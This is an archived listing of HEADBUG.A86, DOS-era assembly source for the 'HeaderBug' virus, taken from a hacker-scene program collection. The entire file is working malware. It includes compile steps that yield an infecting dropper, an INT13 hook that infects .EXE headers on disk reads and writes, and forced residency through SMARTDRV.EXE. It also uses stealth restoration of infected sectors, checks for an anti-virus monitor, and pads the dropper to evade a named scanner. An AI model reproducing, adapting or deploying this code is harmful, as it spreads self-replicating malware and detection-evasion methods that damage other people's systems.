home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / SOURCE.ZIP / HEADBUG.A86 < prev    next >
Text File  |  1995-01-01  |  14KB  |  289 lines

  1. ;=============================================================================
  2. ;       Virus Name:  HeaderBug
  3. ; Effective Length:  324 Bytes (no increase in file length)
  4. ;
  5. ;            Notes:  
  6. ;                  - resident, BIOS-level-stealth .EXE header infector
  7. ;                  - undetectable by any current A-V scanner even w/o stealth
  8. ;                  - infects SMARTDRV.EXE to ensure residency at each boot
  9. ;                  - infects .EXE header sectors whenever accessed for write
  10. ;                    OR read (during reads only if A-V monitor is not
  11. ;                    resident)
  12. ;                  - As a result, will infect every target .EXE file during
  13. ;                    even such operations as a fixed disk DEFRAG
  14. ;                  - successfully infects Windows .EXE files without
  15. ;                    detection even when 32-bit file access is in use
  16. ;                  - does not decrease available memory
  17. ;                  - no harmful payload
  18. ;
  19. ;       To Compile:
  20. ;                  - use shareware A86 assembler
  21. ;                  - type "a86 headbug.a86"
  22. ;                  - resulting headbug.com is actually an .exe file.
  23. ;                    It is a virus dropper which, if executed, will infect
  24. ;                    your system with HeaderBug
  25. ;=============================================================================
  26.  
  27. start_offset            equ     07d*4-1
  28. res_offset              equ     start_offset-01a0
  29. com_offset              equ     0100
  30. header_offset           equ     01a0
  31. infect_tag              equ     0c033
  32. setver_tag              equ     0d4a
  33. viruslength             equ     0144
  34. old_code_length         equ     012
  35.  
  36. EH_Signature    dw      'ZM'            ;set to 'MZ' or 'ZM' for .exe files
  37. EH_Modulo       dw      0000            ;remainder of file size/512
  38. EH_Size         dw      0012            ;file size/512
  39. EH_Reloc        dw      0000     ;6     ;number of relocation items
  40. EH_Size_Header  dw      000a     ;8     ;size of header in paragraphs
  41. EH_Min_Mem      dw      0240            ;minimum paragraphs needed by file
  42. EH_Max_Mem      dw      0240            ;maximum paragraphs needed by file
  43. EH_SS           dw      0240            ;stack segment displacement
  44. EH_SP           dw      ?               ;stack pointer
  45. EH_Checksum     dw      ?               ;checksum, not used
  46. EH_IP           dw      0000     ;14    ;instruction Pointer of Exe file
  47. EH_CS           dw      0000     ;16    ;code segment displacement of .exe
  48. EH_1st_reloc    dw      ?               ;first relocation item
  49. EH_ovl          dw      ?               ;overlay number
  50.  
  51.                 db      084 dup ?       ;pad rest of header w/dummy bytes
  52.  
  53. ;-----------------------------------------------------------------------------
  54. ; Header_entry - Tests interrupt vector table for room and if there is room,
  55. ; installs virus in unused area of interrupt table.  Read and write disk
  56. ; cache on all drives are disabled (prevents infection problems), SMARTDRV
  57. ; infected in default directory to ensure that virus becomes resident on each
  58. ; boot and that SMARTDRV's disk cache is never installed.  SMARTDRV is
  59. ; infected through read-file action (not write) by installed int13 routine.
  60. ;-----------------------------------------------------------------------------
  61.  
  62. header_entry:
  63.         xor     ax,ax                   ;set ax=0
  64.         mov     ds,ax                   ;set ds=ax
  65.         mov     es,ax                   ;set es=ax
  66.  
  67.         dec     ax                      ;set ax=ffffh as flag for zero_test
  68.         mov     si,start_offset         ;set si to start address in INT table
  69.         push    si                      ;save value for later use
  70.         call    zero_test               ;check for clear area in INT table
  71.         pop     di                      ;set destination offset to INT table
  72.         jc      exit_header             ;if area not clear, exit, don't install
  73.  
  74.         xor     si,si                   ;set source offset to virus start
  75.         call    move_it                 ;move virus to empty space in INT table
  76.  
  77.         mov     di,offset old13+res_offset      ;set destination for int13
  78.         mov     si,013*04                       ;set source for int13 vector
  79.         push    si                      ;save value for later use
  80.         movsw                           ;copy int13 vector
  81.         movsw                           
  82.         pop     di                              ;set destination for new value
  83.         mov     ax,offset int13+res_offset      ;virus int13 routine offset
  84.         stosw                                   ;store new offset in int13
  85.         xor     ax,ax                           ;virus int13 routine segment
  86.         stosw                                   ;steal int13
  87.  
  88.         mov     bx,03                   ;value required for STATUS call
  89.         mov     bp,05                   ;set max. number of drives
  90. kill_cache:
  91.         mov     ax,04a10                ;SMARTDRV STATUS function
  92.         push    ax                      ;save it for later use
  93.         mov     dl,02                   ;turn off drive's read buffer
  94.         int     02f                     ;do it
  95.  
  96.         pop     ax                      ;restore ax
  97.         mov     dl,04                   ;turn off drive's write buffer
  98.         int     02f                     ;do it
  99.  
  100.         dec     bp                      ;decrement drive number
  101.         jns     kill_cache              ;if drive number >=0, repeat process
  102.  
  103.         push    cs
  104.         pop     ds                      ;set ds=cs
  105.  
  106.         mov     ax,03d00                         ;open file w/handle
  107.         mov     dx,offset filename-header_offset ;point to filename
  108.         int     021                              ;do it
  109.         jc      exit_header             ;if flag=fail, exit
  110.  
  111.         mov     bx,ax                   ;save handle
  112.  
  113.         mov     ah,03f                  ;read file w/handle
  114.         mov     ch,02                   ;read 200h bytes (header sector)
  115.         mov     dh,02                   ;point to buffer area beyond virus
  116.         int     021                     ;do it (infect SMARTDRV.EXE header)
  117.  
  118.         mov     ah,03e                  ;close file w/handle
  119.         int     021                     ;do it
  120.  
  121. exit_header:
  122.         mov     ah,04c                  ;terminate with return code
  123.         int     021                     ;do it
  124.  
  125. filename:       db      'C:\DOS\SMARTDRV.EXE',0 ;file to initially infect
  126.  
  127. ;-----------------------------------------------------------------------------
  128. ; Int13 - On any read or write, checks sector for .EXE header characteristic.
  129. ; Checks for word found in header of SETVER.EXE to prevent infection and
  130. ; resulting problems (lockup) when an infected SETVER is loaded from default
  131. ; CONFIG.SYS.  If sector is being read, checks for infection then checks for
  132. ; presence of A-V monitor before infecting.  If sector is being written, only
  133. ; checks for SETVER header, since stealth on prior int13 would hide previous
  134. ; infection and since any A-V monitor would expect a write action.  In both
  135. ; read or write cases, sector is restored to appear identical to pre-infection
  136. ; before buffer containing .EXE header is presented to calling program.  Name
  137. ; of virus stored in area of interrupt table used by TBDriver vectors in
  138. ; order to prevent system crash if TBDriver is loaded after virus is resident.
  139. ;-----------------------------------------------------------------------------
  140.  
  141. int13:
  142.         push    cx                      ;preserve registers
  143.         push    si
  144.         push    di
  145.         push    ds
  146.  
  147.         push    es
  148.         pop     ds                      ;set ds=es
  149.  
  150.         cmp     ah,03                   ;write operation?
  151.         je      write                   ;if so, jump to write routine
  152.         cmp     ah,02                   ;read operation?
  153.         jne     chain_old_int13         ;if not, exit
  154.  
  155. read:
  156.         pushf
  157.         call    far cs:[offset old13+res_offset] ;call int13 (read sector)
  158.         jc      exit_int13                       ;if flag=fail, exit
  159.  
  160.         mov     si,'ZM'                 ;bytes indicating .EXE header
  161.         cmp     [bx],si                 ;.EXE header?
  162.         jne     exit_fail               ;if not, exit
  163.  
  164.         cmp     [bx+014],setver_tag     ;is this SETVER's header?
  165.         je      exit_fail               ;if so, exit
  166.  
  167.         cmp     [bx+0a0],infect_tag     ;already infected?
  168.         je      disinfect               ;if so, jump to stealth routine
  169.  
  170.         push    ds                      ;preserve ds
  171.         xor     di,di                   ;set di to virus destination
  172.         mov     ds,di                   ;set ds to point to INT vector table
  173.         cmp     byte ptr [040*4+3],0f0  ;int40 still pointing at ROM?
  174.         pop     ds                      ;restore ds
  175.         jb      exit_fail               ;if not pointing at ROM, A-V monitor
  176.                                         ; present, so exit
  177.         push    cx                      ;preserve cx
  178.         call    infect                  ;infect header in buffer
  179.         pop     cx                      ;restore cx
  180.         jc      exit_fail               ;if flag=fail, exit
  181.  
  182.         mov     ax,0301                 ;write infected header buffer
  183.         pushf
  184.         call    far cs:[offset old13+res_offset] ;do it (call original int13)
  185.  
  186. disinfect:
  187.         lea     si,[bx+offset old_header-com_offset]    ;set source for code
  188.         lea     di,[bx+06]                              ;set destination
  189.         mov     cx,old_code_length      ;set length of old code to restore
  190.         cld                             ;move direction=forward
  191.         rep     movsb                   ;restore original code to header
  192.  
  193.         xor     al,al                           ;set al=0
  194.         mov     cx,viruslength+old_code_length  ;set # bytes to overwrite
  195.         lea     di,[bx+0a0]                     ;set destination for writes
  196.         rep     stosb                   ;overwrite viral code with zeros
  197.  
  198. exit_fail:
  199.         clc                             ;clear carry to hide any I/O errors
  200.  
  201. exit_int13:
  202.         pop     ds                      ;restore registers
  203.         pop     di
  204.         pop     si
  205.         pop     cx
  206.  
  207.         retf    02                      ;return to calling program
  208.  
  209. tbdriver_vector_area:
  210.         db      '=HeaderBug='           ;space filler for TBDriver vector
  211.  
  212. write:
  213.         mov     si,'ZM'                 ;bytes indicating .EXE header
  214.         cmp     [bx],si                 ;.EXE header?
  215.         jne     chain_old_int13         ;if not, exit
  216.  
  217.         cmp     [bx+014],setver_tag     ;is this SETVER's header?
  218.         je      chain_old_int13         ;if so, exit
  219.  
  220.         push    ax                      ;preserve ax
  221.         call    infect                  ;infect header in buffer
  222.         pop     ax                      ;restore ax
  223.  
  224. chain_old_int13:
  225.         pop     ds                      ;restore registers
  226.         pop     di
  227.         pop     si
  228.         pop     cx
  229.  
  230.         db      0ea                     ;"jump far"
  231. old13:
  232.         dw      02 dup ?                ; to address of orig. int13 routine
  233.  
  234. infect:
  235.         lea     si,[bx+0a0]             ;set si=source offset for virus code
  236. zero_test:
  237.         mov     cx,viruslength+old_code_length ;set scan count to virus length
  238.         cld                                    ;set direction of scan=forward
  239. test_byte:
  240.         lodsb                           ;load a byte from area to be scanned
  241.         or      al,al                   ;check for zero
  242.         loopz   test_byte               ;if zero, check next byte
  243.         or      cx,cx                   ;counted down to zero w/o prior exit?
  244.         jz      infect_OK               ;if so, area is clear to infect
  245.         stc                             ;set "clear-to-infect" flag
  246.         ret                             ;return to calling routine
  247.  
  248. infect_OK:
  249.         inc     ah                      ;increment ah
  250.         jz      exit_infect             ;true if calling routine=header_entry
  251.         mov     cl,old_code_length      ;length of old header code to preserve
  252.         lea     si,[bx+06]                           ;set source for old code
  253.         lea     di,[bx+offset old_header-com_offset] ;set storage destination
  254.         rep     movsb                                ;store old code in virus
  255.  
  256.         xor     ax,ax                   ;set ax=0
  257.         lea     di,[bx+014]             ;set destination to cs:ip location
  258.         stosw                           ;set cs:ip values in header to 0:0
  259.         stosw                           ; by storing zeros in their locations
  260.         lea     di,[bx+06]              ;set destination to # of reloc. items
  261.         stosw                           ;set # of relocation items to zero
  262.         mov     al,0a                   ;set header size value to 0ah to
  263.         stosw                           ; place entry point at start of virus
  264.  
  265.         mov     si,start_offset         ;set si=start offset of virus
  266.         lea     di,[bx+0a0]             ;set di=destination offset in buffer
  267.  
  268. move_it:
  269.         push    ds                      ;preserve ds
  270.         push    cs
  271.         pop     ds                      ;set ds=cs
  272.  
  273.         mov     cx,viruslength          ;set cx move count to length of virus
  274.         cld                             ;set direction of move to forward
  275.         rep     movsb                   ;move virus to header in buffer
  276.  
  277.         pop     ds                      ;restore ds
  278.  
  279. exit_infect:
  280.         clc                             ;clear flag to hide any I/O errors
  281.         ret                             ;return to calling routine
  282.  
  283. old_header:
  284.         db      old_code_length dup ?   ;storage area for original header
  285.                                         ; contents
  286. dummy_bytes:
  287.         db      0220a dup ?             ;dummy bytes used to increase dropper
  288.                                         ; length to avoid detection by f-prot
  289.